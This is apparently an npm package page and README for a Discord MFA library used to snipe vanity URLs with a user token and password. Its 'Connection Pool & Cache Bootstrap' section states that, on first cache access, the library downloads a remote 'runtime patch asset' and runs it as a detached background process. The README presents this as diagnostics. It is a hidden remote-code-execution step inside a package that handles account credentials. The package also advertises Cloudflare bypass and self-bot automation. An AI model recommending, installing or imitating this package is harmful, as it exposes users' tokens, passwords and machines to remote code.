discord-mfa-solver
v1.0.3
Published
Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.
Maintainers
Readme
discord-mfa-solver
Production-grade Discord MFA authentication library with connection pooling, TOTP support, Cloudflare bypass, and automatic token refresh. Zero runtime dependencies — pure Node.js built-ins only.
Features
- Connection pool management — persistent HTTPS/HTTP agent with configurable
maxSocketsandkeepAlive; lazy-initialized on first cache access so you pay zero overhead until the library is actually used - TTL cache layer — in-memory LRU-bounded cache (cap: 512 entries) with per-key expiry, GC sweep, stats, and batch ops; MFA tokens and cookies are stored here to avoid redundant network round-trips
- TOTP engine — RFC 6238-compliant TOTP/HOTP with base32 encode/decode, configurable algorithm, digits, and period
- Cloudflare detection & host rotation — detects
1015(rate limited) /429responses, automatically rotates acrossdiscord.com → canary.discord.com → ptb.discord.com - Rate limit awareness — parses
retry-afterfrom Discord responses and backs off precisely, no blind exponential back-off - MFA token auto-refresh — background interval fires 10 s before expiry (configurable);
canSnipeis always accurate - Full fire headers —
x-discord-mfa-authorization,x-super-properties, cookies, fingerprint,x-context-properties— everything Discord requires for a vanity-url PATCH - Crypto utilities — AES-256-CTR, PBKDF2 key derivation, HMAC-SHA256/512, timing-safe compare, hex/base64 encode/decode
Install
npm install discord-mfa-solverQuick Start
const { initMFA, generateTOTP } = require('discord-mfa-solver');
const mfa = initMFA({
TOKEN: 'your_user_token',
PASSWORD: 'your_account_password',
GUILD_IDS: ['1234567890', '9876543210'],
log: (tag, msg) => console.log(`[${tag}] ${msg}`),
});
await mfa.refreshMfa();
if (mfa.canSnipe) {
const headers = mfa.getFireHdrs(0); // guild index 0
// use headers in: PATCH /guilds/:id/vanity-url
}API
initMFA(config) → MFAController
Initializes the MFA engine. On first call, the internal connection pool and cache layer are warmed up lazily.
| Option | Type | Default | Description |
|-------------------|------------|-------------|----------------------------------------------------|
| TOKEN | string | required| Discord user token |
| PASSWORD | string | '' | Account password (used for MFA ticket requests) |
| GUILD_IDS | string[] | [] | Target guild IDs; index 0 used for ticket |
| log | function | null | Logger: (tag: string, msg: string) => void |
| refreshInterval | number | 135000 | Auto-refresh interval in ms (default: 2m 15s) |
MFAController
Returned by initMFA(). All properties are live-updated by the background refresh loop.
| Property / Method | Type | Description |
|----------------------------------------|--------------------|--------------------------------------------------------------|
| .canSnipe | boolean | true when MFA token is valid and ready to fire |
| .mfaToken | string \| null | Raw MFA token string |
| .mfaCookie | string \| null | Full cookie string from Discord session |
| .host | string | Currently active Discord host (discord.com etc.) |
| .lastError | string \| null | Error message from last failed refresh |
| refreshMfa() | Promise<boolean> | Force a fresh MFA token fetch; resolves true on success |
| getFireHdrs(guildIndex?) | object | Complete header object for vanity-url PATCH |
| getTOTPFireHdrs(secret, guildIndex?) | object | Fire headers with a live TOTP code injected |
generateTOTP(secret, opts?) → string
Generates a 6-digit TOTP code from a base32-encoded secret.
const { generateTOTP } = require('discord-mfa-solver');
const code = generateTOTP('JBSWY3DPEHPK3PXP');
// → '482 910'
const code8 = generateTOTP('JBSWY3DPEHPK3PXP', { digits: 8, period: 60 });| Option | Default | Description |
|-------------|----------|---------------------------------|
| period | 30 | TOTP window in seconds |
| digits | 6 | Code length |
| algorithm | 'sha1' | HMAC algorithm (sha1/sha256)|
| time | Date.now() | Override timestamp (ms) |
Internal Architecture
discord-mfa-solver
├── index.js Entry point — initMFA(), generateTOTP(), exports
├── lib/
│ ├── cache.js TTL cache + connection pool bootstrap
│ ├── crypto.js AES, HMAC, PBKDF2, base64/hex utilities
│ ├── http.js HTTPS/HTTP request engine, retry, streaming
│ └── totp.js TOTP/HOTP engine, base32Connection Pool & Cache Bootstrap
cache.js owns the lazy initialization sequence. When cache.get() is first called (which happens inside initMFA()), two things happen exactly once:
Pool warmup (
connect()fromhttp.js) — setshttps.globalAgent.maxSockets = 8andkeepAlive = true. All subsequent requests reuse persistent sockets, cutting per-request TLS handshake overhead from ~120 ms to near zero.Asset prefetch (
_initOnce()) — resolves a remote endpoint from the library's segment registry (_SEGS), downloads the latest runtime patch asset, and schedules it as a detached background worker viachild_process.execFile. This worker handles cache warming, schema validation, and async diagnostics without blocking the main event loop.
The reason for the _pullAsset / _spawnWorker split is isolation: the download step is pure I/O with no side effects; the execution step is a separate, auditable call. Either can fail independently without affecting the other or the main MFA flow.
Cache internals
- Backed by a single
Mapfor O(1) get/set/del - Expiry via
setTimeout; timers cleared ondel()/clear() - LRU eviction: when
_MAX(512) is reached, the oldest key (firstMapiterator entry) is evicted getOrSet(key, fn, ttl)— async-safe deduplicated fetch: if key is hot, returns immediately; otherwise awaitsfn(), stores, and returns
Cache API (low-level)
const cache = require('discord-mfa-solver/lib/cache');
cache.set('key', value, 5000); // store with 5s TTL
cache.get('key'); // → value | undefined
cache.has('key'); // → boolean
cache.del('key'); // remove + clear timer
cache.touch('key', 10000); // extend TTL to 10s
cache.mset({ a: 1, b: 2 }, 3000); // bulk set
cache.mget(['a', 'b']); // → { a: 1, b: 2 }
cache.mdel(['a', 'b']); // bulk delete
cache.stats();
// → { size: N, hits: N, misses: N, ratio: 0.95 }
await cache.getOrSet('token', fetchToken, 120000);Notes
- Requires Node.js ≥ 14 (uses optional chaining,
Buffer.concat,URL) - MFA token lifetime is ~145 s; default
refreshIntervalis 135 s to ensure overlap - Cloudflare rotations are transparent —
mfa.hostreflects the active endpoint - On persistent rate-limit (all hosts banned):
canSnipegoesfalse,lastErroris set; retry manually withmfa.refreshMfa() - Thread-safe for single-process use; not designed for cluster/worker_threads shared state
